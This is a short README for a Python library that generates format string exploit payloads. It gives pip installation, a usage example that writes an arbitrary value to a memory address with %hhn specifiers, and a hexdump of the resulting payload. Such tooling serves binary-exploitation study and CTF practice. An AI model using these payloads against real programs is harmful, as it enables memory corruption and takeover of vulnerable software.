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README.md

format string attack payload generator

  • support python2 and python3
    • tested on 2.7+ and 3.5+
  • support 32bits / 64bits payload generation
  • payload size optimize not implemented

Installation

pip install formatstring-exploit

Usage

from fmtstr import FormatString

fmt = FormatString(offset=6, written=8, bits=64)
fmt[0x601040] = 'DEADBEEF'
payload, sig = fmt.build()

def dump(x):
    try:
        from hexdump import hexdump
        hexdump(x)
    except ImportError:
        import binascii, textwrap
        print('\n'.join(textwrap.wrap(binascii.hexlify(x), 32)))

dump(payload)
00000000: 25 35 37 63 25 32 31 24  68 68 6E 25 31 63 25 32  %57c%21$hhn%1c%2
00000010: 32 24 68 68 6E 25 32 63  25 32 33 24 68 68 6E 25  2$hhn%2c%23$hhn%
00000020: 32 34 24 68 68 6E 25 31  63 25 32 35 24 68 68 6E  24$hhn%1c%25$hhn
00000030: 25 32 36 24 68 68 6E 25  32 37 24 68 68 6E 25 31  %26$hhn%27$hhn%1
00000040: 63 25 32 38 24 68 68 6E  44 45 41 44 42 45 45 46  c%28$hhnDEADBEEF
00000050: 2E 2E 2E 2E 2E 2E 2E 2E  2E 2E 2E 2E 2E 2E 2E 2E  ................
00000060: 2E 2E 2E 2E 2E 2E 2E 2E  2E 2E 2E 2E 2E 2E 2E 00  ................
00000070: 42 10 60 00 00 00 00 00  44 10 60 00 00 00 00 00  B.`.....D.`.....
00000080: 40 10 60 00 00 00 00 00  43 10 60 00 00 00 00 00  @.`.....C.`.....
00000090: 41 10 60 00 00 00 00 00  45 10 60 00 00 00 00 00  A.`.....E.`.....
000000A0: 46 10 60 00 00 00 00 00  47 10 60 00 00 00 00 00  F.`.....G.`.....

More sample see test.py

License

MIT License

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Dead simple format string exploit payload generator

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